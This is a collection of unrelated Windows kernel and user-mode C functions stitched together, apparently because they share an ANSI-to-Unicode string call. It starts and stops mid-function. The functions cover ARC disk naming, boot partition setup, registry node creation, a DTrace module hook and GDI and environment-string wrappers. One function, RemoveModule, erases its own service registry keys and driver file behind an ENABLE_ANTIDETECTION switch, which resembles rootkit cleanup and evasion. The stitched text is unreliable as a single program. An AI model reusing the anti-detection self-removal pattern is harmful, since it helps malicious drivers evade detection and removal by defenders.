*/ DiskCount = DiskNumber + 20; } } else { /* Create device name for the disk */ sprintf(Buffer, "\\Device\\Harddisk%lu\\Partition0", DiskNumber); RtlInitAnsiString(&DeviceStringA, Buffer); Status = RtlAnsiStringToUnicodeString(&DeviceStringW, &DeviceStringA, TRUE); if (!NT_SUCCESS(Status)) { goto Cleanup; } /* Get its device object */ Status = IoGetDeviceObjectPointer(&DeviceStringW, FILE_READ_ATTRIBUTES, &FileObject, &DeviceObject); RtlFreeUnicodeString(&DeviceStringW); /* This is a security measure, to ensure DiskNumber will be used */ DeviceNumber.DeviceNumber = 0xFFFFFFFF; } /* Something failed somewhere earlier, just skip the disk */ if (!NT_SUCCESS(Status)) { continue; } /* Let's ask the disk for its geometry */ Irp = IoBuildDeviceIoControlRequest(IOCTL_DISK_GET_DRIVE_GEOMETRY, DeviceObject, NULL, 0, &DiskGeometry, sizeof(DISK_GEOMETRY), FALSE, &Event, &IoStatusBlock); /* Missing resources is a shame... No need to go farther */ if (!Irp) { ObDereferenceObject(FileObject); Status = STATUS_INSUFFICIENT_RESOURCES; goto Cleanup; } /* Call the driver, and wait for it if needed */ KeInitializeEvent(&Event, NotificationEvent, FALSE); Status = IoCallDriver(DeviceObject, Irp); if (Status == STATUS_PENDING) { KeWaitForSingleObject(&Event, Executive, KernelMode, FALSE, NULL); Status = IoStatusBlock.Status; } /* Failure, skip disk */ if (!NT_SUCCESS(Status)) { ObDereferenceObject(FileObject); continue; } /* Read the partition table */ Status = IoReadPartitionTableEx(DeviceObject, &DriveLayout); if (!NT_SUCCESS(Status)) { ObDereferenceObject(FileObject); continue; } /* Ensure we have at least 512 bytes per sector */ if (DiskGeometry.BytesPerSector < 512) { DiskGeometry.BytesPerSector = 512; } /* Check MBR type against EZ Drive type */ StartingOffset.QuadPart = 0; HalExamineMBR(DeviceObject, DiskGeometry.BytesPerSector, 0x55, &Data); if (Data) { /* If MBR is of the EZ Drive type, we'll read after it */ StartingOffset.QuadPart = DiskGeometry.BytesPerSector; ExFreePool(Data); } /* Allocate for reading enough data for checksum */ PartitionBuffer = ExAllocatePoolWithTag(NonPagedPoolCacheAligned, DiskGeometry.BytesPerSector, TAG_IO); if (!PartitionBuffer) { ObDereferenceObject(FileObject); Status = STATUS_INSUFFICIENT_RESOURCES; goto Cleanup; } /* Read a sector for computing checksum */ Irp = IoBuildSynchronousFsdRequest(IRP_MJ_READ, DeviceObject, PartitionBuffer, DiskGeometry.BytesPerSector, &StartingOffset, &Event, &IoStatusBlock); if (!Irp) { ObDereferenceObject(FileObject); Status = STATUS_INSUFFICIENT_RESOURCES; goto Cleanup; } /* Call the driver to perform reading */ KeInitializeEvent(&Event, NotificationEvent, FALSE); Status = IoCallDriver(DeviceObject, Irp); if (Status == STATUS_PENDING) { KeWaitForSingleObject(&Event, Executive, KernelMode, FALSE, NULL); Status = IoStatusBlock.Status; } if (!NT_SUCCESS(Status)) { ExFreePool(DriveLayout); ExFreePoolWithTag(PartitionBuffer, TAG_IO); ObDereferenceObject(FileObject); continue; } ObDereferenceObject(FileObject); /* Calculate checksum, that's an easy computation, just adds read data */ for (i = 0, CheckSum = 0; i < 512 / sizeof(ULONG) ; i++) { CheckSum += PartitionBuffer[i]; } /* Browse each ARC disk */ for (NextEntry = ArcDiskInformation->DiskSignatureListHead.Flink; NextEntry != &ArcDiskInformation->DiskSignatureListHead; NextEntry = NextEntry->Flink) { ArcDiskSignature = CONTAINING_RECORD(NextEntry, ARC_DISK_SIGNATURE, ListEntry); /* If they matches, ie * - There's only one disk for both BIOS and detected/enabled * - Signatures are matching * - Checksums are matching * - This is MBR */ if (((SingleDisk && DiskCount == 1) || (IopVerifyDiskSignature(DriveLayout, ArcDiskSignature, &Signature) && (ArcDiskSignature->CheckSum + CheckSum == 0))) && (DriveLayout->PartitionStyle == PARTITION_STYLE_MBR)) { /* Create device name */ sprintf(Buffer, "\\Device\\Harddisk%lu\\Partition0", (DeviceNumber.DeviceNumber != 0xFFFFFFFF) ? DeviceNumber.DeviceNumber : DiskNumber); RtlInitAnsiString(&DeviceStringA, Buffer); Status = RtlAnsiStringToUnicodeString(&DeviceStringW, &DeviceStringA, TRUE); if (!NT_SUCCESS(Status)) { goto Cleanup; } /* Create ARC name */ sprintf(ArcBuffer, "\\ArcName\\%s", ArcDiskSignature->ArcName); RtlInitAnsiString(&ArcNameStringA, ArcBuffer); Status = RtlAnsiStringToUnicodeString(&ArcNameStringW, &ArcNameStringA, TRUE); if (!NT_SUCCESS(Status)) { RtlFreeUnicodeString(&DeviceStringW); goto Cleanup; } /* Link both */ IoCreateSymbolicLink(&ArcNameStringW, &DeviceStringW); /* And release resources */ RtlFreeUnicodeString(&ArcNameStringW); RtlFreeUnicodeString(&DeviceStringW); /* Now, browse for every partition */ for (i = 1; i <= DriveLayout->PartitionCount; i++) { /* Create device name */ sprintf(Buffer, "\\Device\\Harddisk%lu\\Partition%lu", (DeviceNumber.DeviceNumber != 0xFFFFFFFF) ? DeviceNumber.DeviceNumber : DiskNumber, i); RtlInitAnsiString(&DeviceStringA, Buffer); Status = RtlAnsiStringToUnicodeString(&DeviceStringW, &DeviceStringA, TRUE); if (!NT_SUCCESS(Status)) { goto Cleanup; } /* Create partial ARC name */ sprintf(ArcBuffer, "%spartition(%lu)", ArcDiskSignature->ArcName, i); RtlInitAnsiString(&ArcNameStringA, ArcBuffer); /* Is that boot device? */ if (RtlEqualString(&ArcNameStringA, &ArcBootString, TRUE)) { DPRINT("Found boot device\n"); *FoundBoot = TRUE; } /* Is that system partition? */ if (RtlEqualString(&ArcNameStringA, &ArcSystemString, TRUE)) { /* Create HAL path name */ RtlInitAnsiString(&HalPathStringA, LoaderBlock->NtHalPathName); Status = RtlAnsiStringToUnicodeString(&HalPathStringW, &HalPathStringA, TRUE); if (!NT_SUCCESS(Status)) { RtlFreeUnicodeString(&DeviceStringW); goto Cleanup; } /* Then store those information to registry */ IopStoreSystemPartitionInformation(&DeviceStringW, &HalPathStringW); RtlFreeUnicodeString(&HalPathStringW); } /* Create complete ARC name */ sprintf(ArcBuffer, "\\ArcName\\%spartition(%lu)", ArcDiskSignature->ArcName, i); RtlInitAnsiString(&ArcNameStringA, ArcBuffer); Status = RtlAnsiStringToUnicodeString(&ArcNameStringW, &ArcNameStringA, TRUE); if (!NT_SUCCESS(Status)) { RtlFreeUnicodeString(&DeviceStringW); goto Cleanup; } /* Link device name & ARC name */ IoCreateSymbolicLink(&ArcNameStringW, &DeviceStringW); /* Release strings */ RtlFreeUnicodeString(&ArcNameStringW); RtlFreeUnicodeString(&DeviceStringW); } } else { /* In case there's a valid partition, a matching signature, BUT a none matching checksum, or there's a duplicate signature, or even worse a virus played with partition table */ if (ArcDiskSignature->Signature == Signature && (ArcDiskSignature->CheckSum + CheckSum != 0) && ArcDiskSignature->ValidPartitionTable) { DPRINT("Be careful, or you have a duplicate disk signature, or a virus altered your MBR!\n"); } } } /* Release memory before jumping to next item */ ExFreePool(DriveLayout); DriveLayout = NULL; ExFreePoolWithTag(PartitionBuffer, TAG_IO); PartitionBuffer = NULL; } Status = STATUS_SUCCESS; Cleanup: if (SymbolicLinkList) { ExFreePool(SymbolicLinkList); } if (DriveLayout) { ExFreePool(DriveLayout); } if (PartitionBuffer) { ExFreePoolWithTag(PartitionBuffer, TAG_IO); } return Status; }
BOOLEAN INIT_FUNCTION NTAPI IopMarkBootPartition(IN PLOADER_PARAMETER_BLOCK LoaderBlock) { OBJECT_ATTRIBUTES ObjectAttributes; STRING DeviceString; CHAR Buffer[256]; UNICODE_STRING DeviceName; NTSTATUS Status; HANDLE FileHandle; IO_STATUS_BLOCK IoStatusBlock; PFILE_OBJECT FileObject; /* Build the ARC device name */ sprintf(Buffer, "\\ArcName\\%s", LoaderBlock->ArcBootDeviceName); RtlInitAnsiString(&DeviceString, Buffer); Status = RtlAnsiStringToUnicodeString(&DeviceName, &DeviceString, TRUE); if (!NT_SUCCESS(Status)) return FALSE; /* Open it */ InitializeObjectAttributes(&ObjectAttributes, &DeviceName, OBJ_CASE_INSENSITIVE, NULL, NULL); Status = ZwOpenFile(&FileHandle, FILE_READ_ATTRIBUTES, &ObjectAttributes, &IoStatusBlock, 0, FILE_NON_DIRECTORY_FILE); if (!NT_SUCCESS(Status)) { /* Fail */ KeBugCheckEx(INACCESSIBLE_BOOT_DEVICE, (ULONG_PTR)&DeviceName, Status, 0, 0); } /* Get the DO */ Status = ObReferenceObjectByHandle(FileHandle, 0, IoFileObjectType, KernelMode, (PVOID *)&FileObject, NULL); if (!NT_SUCCESS(Status)) { /* Fail */ RtlFreeUnicodeString(&DeviceName); return FALSE; } /* Mark it as the boot partition */ FileObject->DeviceObject->Flags |= DO_SYSTEM_BOOT_PARTITION; /* Save a copy of the DO for the I/O Error Logger */ ObReferenceObject(FileObject->DeviceObject); IopErrorLogObject = FileObject->DeviceObject; /* Cleanup and return success */ RtlFreeUnicodeString(&DeviceName); NtClose(FileHandle); ObDereferenceObject(FileObject); return TRUE; }
NTSTATUS NTAPI INIT_FUNCTION IopReassignSystemRoot(IN PLOADER_PARAMETER_BLOCK LoaderBlock, OUT PANSI_STRING NtBootPath) { OBJECT_ATTRIBUTES ObjectAttributes; NTSTATUS Status; CHAR Buffer[256], AnsiBuffer[256]; WCHAR ArcNameBuffer[64]; ANSI_STRING TargetString, ArcString, TempString; UNICODE_STRING LinkName, TargetName, ArcName; HANDLE LinkHandle; /* Create the Unicode name for the current ARC boot device */ sprintf(Buffer, "\\ArcName\\%s", LoaderBlock->ArcBootDeviceName); RtlInitAnsiString(&TargetString, Buffer); Status = RtlAnsiStringToUnicodeString(&TargetName, &TargetString, TRUE); if (!NT_SUCCESS(Status)) return FALSE; /* Initialize the attributes and open the link */ InitializeObjectAttributes(&ObjectAttributes, &TargetName, OBJ_CASE_INSENSITIVE, NULL, NULL); Status = NtOpenSymbolicLinkObject(&LinkHandle, SYMBOLIC_LINK_ALL_ACCESS, &ObjectAttributes); if (!NT_SUCCESS(Status)) { /* We failed, free the string */ RtlFreeUnicodeString(&TargetName); return FALSE; } /* Query the current \\SystemRoot */ ArcName.Buffer = ArcNameBuffer; ArcName.Length = 0; ArcName.MaximumLength = sizeof(ArcNameBuffer); Status = NtQuerySymbolicLinkObject(LinkHandle, &ArcName, NULL); if (!NT_SUCCESS(Status)) { /* We failed, free the string */ RtlFreeUnicodeString(&TargetName); return FALSE; } /* Convert it to Ansi */ ArcString.Buffer = AnsiBuffer; ArcString.Length = 0; ArcString.MaximumLength = sizeof(AnsiBuffer); Status = RtlUnicodeStringToAnsiString(&ArcString, &ArcName, FALSE); AnsiBuffer[ArcString.Length] = ANSI_NULL; /* Close the link handle and free the name */ ObCloseHandle(LinkHandle, KernelMode); RtlFreeUnicodeString(&TargetName); /* Setup the system root name again */ RtlInitAnsiString(&TempString, "\\SystemRoot"); Status = RtlAnsiStringToUnicodeString(&LinkName, &TempString, TRUE); if (!NT_SUCCESS(Status)) return FALSE; /* Open the symbolic link for it */ InitializeObjectAttributes(&ObjectAttributes, &LinkName, OBJ_CASE_INSENSITIVE, NULL, NULL); Status = NtOpenSymbolicLinkObject(&LinkHandle, SYMBOLIC_LINK_ALL_ACCESS, &ObjectAttributes); if (!NT_SUCCESS(Status)) return FALSE; /* Destroy it */ NtMakeTemporaryObject(LinkHandle); ObCloseHandle(LinkHandle, KernelMode); /* Now create the new name for it */ sprintf(Buffer, "%s%s", ArcString.Buffer, LoaderBlock->NtBootPathName); /* Copy it into the passed parameter and null-terminate it */ RtlCopyString(NtBootPath, &ArcString); Buffer[strlen(Buffer) - 1] = ANSI_NULL; /* Setup the Unicode-name for the new symbolic link value */ RtlInitAnsiString(&TargetString, Buffer); InitializeObjectAttributes(&ObjectAttributes, &LinkName, OBJ_CASE_INSENSITIVE | OBJ_PERMANENT, NULL, NULL); Status = RtlAnsiStringToUnicodeString(&ArcName, &TargetString, TRUE); if (!NT_SUCCESS(Status)) return FALSE; /* Create it */ Status = NtCreateSymbolicLinkObject(&LinkHandle, SYMBOLIC_LINK_ALL_ACCESS, &ObjectAttributes, &ArcName); /* Free all the strings and close the handle and return success */ RtlFreeUnicodeString(&ArcName); RtlFreeUnicodeString(&LinkName); ObCloseHandle(LinkHandle, KernelMode); return TRUE; }
void ProcKernelModuleLoaded(PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo) { char buf[256], *s, *sbuf; ANSI_STRING AS; ULONG l; modctl_t *ctl; int reloaded = 0; if (ImageInfo->SystemModeImage) { l = RtlUnicodeStringToAnsiSize(FullImageName); if (l == 0) return; RtlInitAnsiString(&AS, NULL); RtlUnicodeStringToAnsiString(&AS, FullImageName, TRUE); if (AS.MaximumLength >= AS.Length + 1) { AS.Buffer[AS.Length] = '\0'; } else { RtlFreeAnsiString(&AS); return; } s = strrchr(AS.Buffer, '\\'); if (s == NULL) { RtlFreeAnsiString(&AS); return; } s++; ctl = modules; do { if (strcmp(ctl->mod_modname, s) == 0 && ctl->size == ImageInfo->ImageSize) { ctl->imgbase = (uintptr_t) ImageInfo->ImageBase; ctl->loadcnt++; reloaded = 1; dprintf("dtrace.sys: module %s reloaded\n", s); break; } } while ((ctl = ctl->mod_next) != modules); if (reloaded == 0) { ctl = ExAllocatePoolWithTag(NonPagedPool, sizeof(modctl_t), 'Tag1'); if (ctl == NULL) { return; } sbuf = ExAllocatePoolWithTag(NonPagedPool, strlen(s)+1, 'Tag1'); RtlFreeAnsiString(&AS); if (sbuf == NULL) { ExFreePoolWithTag(ctl, 'Tag1'); return; } strcpy(sbuf, s); ctl->imgbase = (uintptr_t) ImageInfo->ImageBase; ctl->size = ImageInfo->ImageSize; ctl->mod_modname = sbuf; ctl->loadcnt = 0; ctl->nenabled = 0; ctl->fbt_nentries = 0; dprintf("dtrace.sys: module %s loaded\n", s); ctl->mod_next = modules->mod_next; modules->mod_next = ctl; } dtrace_module_loaded(ctl); } }
PWCHAR NTAPI PciGetDescriptionMessage(IN ULONG Identifier, OUT PULONG Length) { PMESSAGE_RESOURCE_ENTRY Entry; ULONG TextLength; PWCHAR Description, Buffer; ANSI_STRING MessageString; UNICODE_STRING UnicodeString; NTSTATUS Status; /* Find the message identifier in the message table */ MessageString.Buffer = NULL; Status = RtlFindMessage(PciDriverObject->DriverStart, 11, // RT_MESSAGETABLE LANG_NEUTRAL, Identifier, &Entry); if (!NT_SUCCESS(Status)) return NULL; /* Check if the resource data is Unicode or ANSI */ if (Entry->Flags & MESSAGE_RESOURCE_UNICODE) { /* Subtract one space for the end-of-message terminator */ TextLength = Entry->Length - FIELD_OFFSET(MESSAGE_RESOURCE_ENTRY, Text) - sizeof(WCHAR); /* Grab the text */ Description = (PWCHAR)Entry->Text; /* Validate valid message length, ending with a newline character */ ASSERT(TextLength > 1); ASSERT(Description[TextLength / sizeof(WCHAR)] == L'\n'); /* Allocate the buffer to hold the message string */ Buffer = ExAllocatePoolWithTag(PagedPool, TextLength, 'BicP'); if (!Buffer) return NULL; /* Copy the message, minus the newline character, and terminate it */ RtlCopyMemory(Buffer, Entry->Text, TextLength - 1); Buffer[TextLength / sizeof(WCHAR)] = UNICODE_NULL; /* Return the length to the caller, minus the terminating NULL */ if (Length) *Length = TextLength - 1; } else { /* Initialize the entry as a string */ RtlInitAnsiString(&MessageString, (PCHAR)Entry->Text); /* Remove the newline character */ MessageString.Length -= sizeof(CHAR); /* Convert it to Unicode */ RtlAnsiStringToUnicodeString(&UnicodeString, &MessageString, TRUE); Buffer = UnicodeString.Buffer; /* Return the length to the caller */ if (Length) *Length = UnicodeString.Length; } /* Return the message buffer to the caller */ return Buffer; }
NTSTATUS CmpInitializeRegistryNode( IN PCONFIGURATION_COMPONENT_DATA CurrentEntry, IN HANDLE ParentHandle, OUT PHANDLE NewHandle, IN INTERFACE_TYPE InterfaceType, IN ULONG BusNumber, IN PUSHORT DeviceIndexTable ) /*++ Routine Description: This routine creates a node for the current firmware component and puts component data to the data part of the node. Arguments: CurrentEntry - Supplies a pointer to a configuration component. Handle - Supplies the parent handle of CurrentEntry node. NewHandle - Suppiles a pointer to a HANDLE to receive the handle of the newly created node. InterfaceType - Specify the Interface type of the bus that the CurrentEntry component resides. (See BusNumber also) BusNumber - Specify the Bus Number of the bus that the CurrentEntry component resides on. If Bus number is -1, it means InterfaceType and BusNumber are meaningless for this component. Returns: None. --*/ { NTSTATUS Status; OBJECT_ATTRIBUTES ObjectAttributes; UNICODE_STRING KeyName; UNICODE_STRING ValueName; UNICODE_STRING ValueData; HANDLE Handle; HANDLE OldHandle; ANSI_STRING AnsiString; UCHAR Buffer[12]; WCHAR UnicodeBuffer[12]; CONFIGURATION_COMPONENT *Component; ULONG Disposition; ULONG ConfigurationDataLength; PCM_FULL_RESOURCE_DESCRIPTOR NewArea; Component = &CurrentEntry->ComponentEntry; // // If the component class is SystemClass, we set its Type to be // ArcSystem. The reason is because the detection code sets // its type to MaximumType to indicate it is NOT ARC compatible. // Here, we are only interested in building a System Node. So we // change its Type to ArcSystem to ease the setup. // if (Component->Class == SystemClass) { Component->Type = ArcSystem; } // // Create a new key to describe the Component. // // The type of the component will be used as the keyname of the // registry node. The class is the class of the component. // InitializeObjectAttributes( &ObjectAttributes, &(CmTypeName[Component->Type]), 0, ParentHandle, NULL ); ObjectAttributes.Attributes |= OBJ_CASE_INSENSITIVE; Status = NtCreateKey( // Paht may already exist &Handle, KEY_READ | KEY_WRITE, &ObjectAttributes, TITLE_INDEX_VALUE, &(CmClassName[Component->Class]), 0, &Disposition ); if (!NT_SUCCESS(Status)) { return(Status); } // // If this component is NOT a SystemClass component, we will // create a subkey to identify the component's ordering. // if (Component->Class != SystemClass) { RtlIntegerToChar( DeviceIndexTable[Component->Type]++, 10, 12, Buffer ); RtlInitAnsiString( &AnsiString, Buffer ); KeyName.Buffer = (PWSTR)UnicodeBuffer; KeyName.Length = 0; KeyName.MaximumLength = sizeof(UnicodeBuffer); RtlAnsiStringToUnicodeString( &KeyName, &AnsiString, FALSE ); OldHandle = Handle; InitializeObjectAttributes( &ObjectAttributes, &KeyName, 0, OldHandle, NULL ); ObjectAttributes.Attributes |= OBJ_CASE_INSENSITIVE; Status = NtCreateKey( &Handle, KEY_READ | KEY_WRITE, &ObjectAttributes, TITLE_INDEX_VALUE, &(CmClassName[Component->Class]), 0, &Disposition ); NtClose(OldHandle); if (!NT_SUCCESS(Status)) { return(Status); } ASSERT(Disposition == REG_CREATED_NEW_KEY); } // // Create a value which describes the following component information: // Flags, Cersion, Key, AffinityMask. // RtlInitUnicodeString( &ValueName, L"Component Information" ); Status = NtSetValueKey( Handle, &ValueName, TITLE_INDEX_VALUE, REG_BINARY, &Component->Flags, FIELD_OFFSET(CONFIGURATION_COMPONENT, ConfigurationDataLength) - FIELD_OFFSET(CONFIGURATION_COMPONENT, Flags) ); if (!NT_SUCCESS(Status)) { NtClose(Handle); return(Status); } // // Create a value which describes the component identifier, if any. // if (Component->IdentifierLength) { RtlInitUnicodeString( &ValueName, L"Identifier" ); RtlInitAnsiString( &AnsiString, Component->Identifier ); RtlAnsiStringToUnicodeString( &ValueData, &AnsiString, TRUE ); Status = NtSetValueKey( Handle, &ValueName, TITLE_INDEX_VALUE, REG_SZ, ValueData.Buffer, ValueData.Length + sizeof( UNICODE_NULL ) ); RtlFreeUnicodeString(&ValueData); if (!NT_SUCCESS(Status)) { NtClose(Handle); return(Status); } } // // Create a value entry for component configuration data. // RtlInitUnicodeString( &ValueName, L"Configuration Data" ); // // Create the configuration data based on CM_FULL_RESOURCE_DESCRIPTOR. // // Note the configuration data in firmware tree may be in the form of // CM_PARTIAL_RESOURCE_LIST or nothing. In both cases, we need to // set up the registry configuration data to be in the form of // CM_FULL_RESOURCE_DESCRIPTOR. // if (CurrentEntry->ConfigurationData) { // // This component has configuration data, we copy the data // to our work area, add some more data items and copy the new // configuration data to the registry. // ConfigurationDataLength = Component->ConfigurationDataLength + FIELD_OFFSET(CM_FULL_RESOURCE_DESCRIPTOR, PartialResourceList); // // Make sure our reserved area is big enough to hold the data. // if (ConfigurationDataLength > CmpConfigurationAreaSize) { // // If reserved area is not big enough, we resize our reserved // area. If, unfortunately, the reallocation fails, we simply // loss the configuration data of this particular component. // NewArea = (PCM_FULL_RESOURCE_DESCRIPTOR)ExAllocatePool( PagedPool, ConfigurationDataLength ); if (NewArea) { CmpConfigurationAreaSize = ConfigurationDataLength; ExFreePool(CmpConfigurationData); CmpConfigurationData = NewArea; RtlMoveMemory( (PUCHAR)&CmpConfigurationData->PartialResourceList.Version, CurrentEntry->ConfigurationData, Component->ConfigurationDataLength ); } else { Component->ConfigurationDataLength = 0; CurrentEntry->ConfigurationData = NULL; } } else { RtlMoveMemory( (PUCHAR)&CmpConfigurationData->PartialResourceList.Version, CurrentEntry->ConfigurationData, Component->ConfigurationDataLength ); } } if (CurrentEntry->ConfigurationData == NULL) { // // This component has NO configuration data (or we can't resize // our reserved area to hold the data), we simple add whatever // is required to set up a CM_FULL_RESOURCE_LIST. // CmpConfigurationData->PartialResourceList.Version = 0; CmpConfigurationData->PartialResourceList.Revision = 0; CmpConfigurationData->PartialResourceList.Count = 0; ConfigurationDataLength = FIELD_OFFSET(CM_FULL_RESOURCE_DESCRIPTOR, PartialResourceList) + FIELD_OFFSET(CM_PARTIAL_RESOURCE_LIST, PartialDescriptors); } // // Set up InterfaceType and BusNumber for the component. // CmpConfigurationData->InterfaceType = InterfaceType; CmpConfigurationData->BusNumber = BusNumber; // // Write the newly constructed configuration data to the hardware registry // Status = NtSetValueKey( Handle, &ValueName, TITLE_INDEX_VALUE, REG_FULL_RESOURCE_DESCRIPTOR, CmpConfigurationData, ConfigurationDataLength ); if (!NT_SUCCESS(Status)) { NtClose(Handle); return(Status); } *NewHandle = Handle; return(STATUS_SUCCESS); }
BOOLEAN RemoveModule(void) { UNICODE_STRING usKeyName, usServiceName; ANSI_STRING asServiceName; BOOLEAN fRet = TRUE; HANDLE hKey; OBJECT_ATTRIBUTES objAttr; NTSTATUS status; IO_STATUS_BLOCK ioStatusBlock; UNICODE_STRING usServicesKey; UNICODE_STRING usEnumKeyName; RtlInitUnicodeString(&usServicesKey, L"\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\"); RtlInitUnicodeString(&usEnumKeyName, L"\\Enum"); RtlInitUnicodeString(&usKeyName, NULL); DBGOUT(("ServiceName ANSI: %s", g_ServiceName)); RtlInitAnsiString(&asServiceName, g_ServiceName); status = RtlAnsiStringToUnicodeString(&usServiceName, &asServiceName, TRUE); if(!NT_SUCCESS(status)) { DBGOUT(("RemoveModule: FAILURE in RtlAnsiStringToUnicodeString %08x!", status)); fRet = FALSE; goto end; } DBGOUT(("ServiceName UNICODE: %S", usServiceName.Buffer)); // Remove our registry entries usKeyName.MaximumLength = usServicesKey.Length + usServiceName.Length + usEnumKeyName.Length + sizeof(WCHAR); usKeyName.Buffer = ExAllocatePoolWithTag(NonPagedPool, usKeyName.MaximumLength, HELPER_POOL_TAG); RtlZeroMemory(usKeyName.Buffer, usKeyName.MaximumLength); DBGOUT(("KeyName Length: %d", usKeyName.MaximumLength)); RtlCopyUnicodeString(&usKeyName, &usServicesKey); status = RtlAppendUnicodeStringToString(&usKeyName, &usServiceName); if(!NT_SUCCESS(status)) { DBGOUT(("RemoveModule: FAILURE in RtlAppendUnicodeStringToString %08x!", status)); fRet = FALSE; goto end; } status = RtlAppendUnicodeStringToString(&usKeyName, &usEnumKeyName); if(!NT_SUCCESS(status)) { DBGOUT(("RemoveModule: FAILURE in RtlAppendUnicodeStringToString %08x!", status)); fRet = FALSE; goto end; } InitializeObjectAttributes(&objAttr, &usKeyName,0,NULL,NULL); DBGOUT(("Attempting to delete reg key %S", usKeyName.Buffer)); #ifdef ENABLE_ANTIDETECTION status = s_fnZwOpenKey(&hKey, DELETE, &objAttr); #else status = ZwOpenKey(&hKey, DELETE, &objAttr); #endif if(!NT_SUCCESS(status)) { DBGOUT(("RemoveModule: FAILURE in ZwOpenKey %08x!", status)); fRet = FALSE; goto end; } status = ZwDeleteKey(hKey); if(!NT_SUCCESS(status)) { DBGOUT(("RemoveModule: Unable to ZwDeleteKey %08x!", status)); fRet = FALSE; goto end; } // Remove our root key entry now RtlZeroMemory(usKeyName.Buffer, usKeyName.MaximumLength); RtlCopyUnicodeString(&usKeyName, &usServicesKey); status = RtlAppendUnicodeStringToString(&usKeyName, &usServiceName); if(!NT_SUCCESS(status)) { DBGOUT(("RemoveModule: FAILURE in RtlAppendUnicodeStringToString %08x!", status)); fRet = FALSE; goto end; } InitializeObjectAttributes(&objAttr, &usKeyName,0,NULL,NULL); DBGOUT(("Attempting to delete reg key %S", usKeyName.Buffer)); #ifdef ENABLE_ANTIDETECTION status = s_fnZwOpenKey(&hKey, DELETE, &objAttr); #else status = ZwOpenKey(&hKey, DELETE, &objAttr); #endif if(!NT_SUCCESS(status)) { DBGOUT(("RemoveModule: FAILURE in ZwOpenKey %08x!", status)); fRet = FALSE; goto end; } status = ZwDeleteKey(hKey); if(!NT_SUCCESS(status)) { DBGOUT(("RemoveModule: Unable to ZwDeleteKey %08x!", status)); fRet = FALSE; goto end; } if(!_wcsnicmp(g_ImagePath.Buffer, L"system32", 8)) { UNICODE_STRING usSysRoot; RtlInitUnicodeString(&usSysRoot, L"\\SystemRoot\\"); // Prepend \SystemRoot\ to the string ExFreePool(usKeyName.Buffer); usKeyName.MaximumLength = usSysRoot.Length + g_ImagePath.Length + sizeof(WCHAR); usKeyName.Buffer = ExAllocatePoolWithTag(NonPagedPool, usKeyName.MaximumLength, HELPER_POOL_TAG); RtlZeroMemory(usKeyName.Buffer, usKeyName.MaximumLength); RtlCopyUnicodeString(&usKeyName, &usSysRoot); status = RtlAppendUnicodeStringToString(&usKeyName, &g_ImagePath); if(!NT_SUCCESS(status)) { DBGOUT(("RemoveModule: FAILURE in RtlAppendUnicodeStringToString %08x!", status)); fRet = FALSE; goto end; } InitializeObjectAttributes(&objAttr, &usKeyName, OBJ_CASE_INSENSITIVE, NULL, NULL); } else { // Use whatever was there InitializeObjectAttributes(&objAttr, &g_ImagePath, OBJ_CASE_INSENSITIVE, NULL, NULL); } // Remove our file DBGOUT(("Removing file %S", objAttr.ObjectName->Buffer)); status = ZwCreateFile(&hKey, DELETE, &objAttr, &ioStatusBlock, (PLARGE_INTEGER)NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN, FILE_DELETE_ON_CLOSE, 0, 0); if(!NT_SUCCESS(status)) { DBGOUT(("RemoveModule: Unable to ZwCreateFile %08x!", status)); fRet = FALSE; goto end; } status = ZwClose(hKey); if(!NT_SUCCESS(status)) { DBGOUT(("RemoveModule: Unable to ZwClose File %08x!", status)); fRet = FALSE; goto end; } end: RtlFreeUnicodeString(&usServiceName); ExFreePool(usKeyName.Buffer); return fRet; }
/* * @implemented */ HDC WINAPI CreateDCA ( LPCSTR lpszDriver, LPCSTR lpszDevice, LPCSTR lpszOutput, CONST DEVMODEA * lpdvmInit) { ANSI_STRING DriverA, DeviceA, OutputA; UNICODE_STRING DriverU, DeviceU, OutputU; LPDEVMODEW dvmInitW = NULL; HDC hdc; /* * If needed, convert to Unicode * any string parameter. */ if (lpszDriver != NULL) { RtlInitAnsiString(&DriverA, (LPSTR)lpszDriver); RtlAnsiStringToUnicodeString(&DriverU, &DriverA, TRUE); } else { DriverU.Buffer = NULL; } if (lpszDevice != NULL) { RtlInitAnsiString(&DeviceA, (LPSTR)lpszDevice); RtlAnsiStringToUnicodeString(&DeviceU, &DeviceA, TRUE); } else { DeviceU.Buffer = NULL; } if (lpszOutput != NULL) { RtlInitAnsiString(&OutputA, (LPSTR)lpszOutput); RtlAnsiStringToUnicodeString(&OutputU, &OutputA, TRUE); } else { OutputU.Buffer = NULL; } if (lpdvmInit != NULL) dvmInitW = GdiConvertToDevmodeW((LPDEVMODEA)lpdvmInit); hdc = IntCreateDICW(DriverU.Buffer, DeviceU.Buffer, OutputU.Buffer, lpdvmInit ? dvmInitW : NULL, 0); HEAP_free(dvmInitW); /* Free Unicode parameters. */ RtlFreeUnicodeString(&DriverU); RtlFreeUnicodeString(&DeviceU); RtlFreeUnicodeString(&OutputU); /* Return the DC handle. */ return hdc; }
/* * @implemented */ DWORD WINAPI ExpandEnvironmentStringsA ( LPCSTR lpSrc, LPSTR lpDst, DWORD nSize ) { ANSI_STRING Source; ANSI_STRING Destination; UNICODE_STRING SourceU; UNICODE_STRING DestinationU; NTSTATUS Status; ULONG Length = 0; RtlInitAnsiString (&Source, (LPSTR)lpSrc); Status = RtlAnsiStringToUnicodeString (&SourceU, &Source, TRUE); if (!NT_SUCCESS(Status)) { SetLastErrorByStatus (Status); return 0; } /* make sure we don't overflow the maximum ANSI_STRING size */ if (nSize > 0x7fff) nSize = 0x7fff; Destination.Length = 0; Destination.MaximumLength = (USHORT)nSize; Destination.Buffer = lpDst; DestinationU.Length = 0; DestinationU.MaximumLength = (USHORT)nSize * sizeof(WCHAR); DestinationU.Buffer = RtlAllocateHeap (RtlGetProcessHeap (), 0, DestinationU.MaximumLength); if (DestinationU.Buffer == NULL) { RtlFreeUnicodeString(&SourceU); SetLastError(ERROR_NOT_ENOUGH_MEMORY); return 0; } Status = RtlExpandEnvironmentStrings_U (NULL, &SourceU, &DestinationU, &Length); RtlFreeUnicodeString (&SourceU); if (!NT_SUCCESS(Status)) { SetLastErrorByStatus (Status); if (Status != STATUS_BUFFER_TOO_SMALL) { RtlFreeHeap (RtlGetProcessHeap (), 0, DestinationU.Buffer); return 0; } } RtlUnicodeStringToAnsiString (&Destination, &DestinationU, FALSE); RtlFreeHeap (RtlGetProcessHeap (), 0, DestinationU.Buffer); 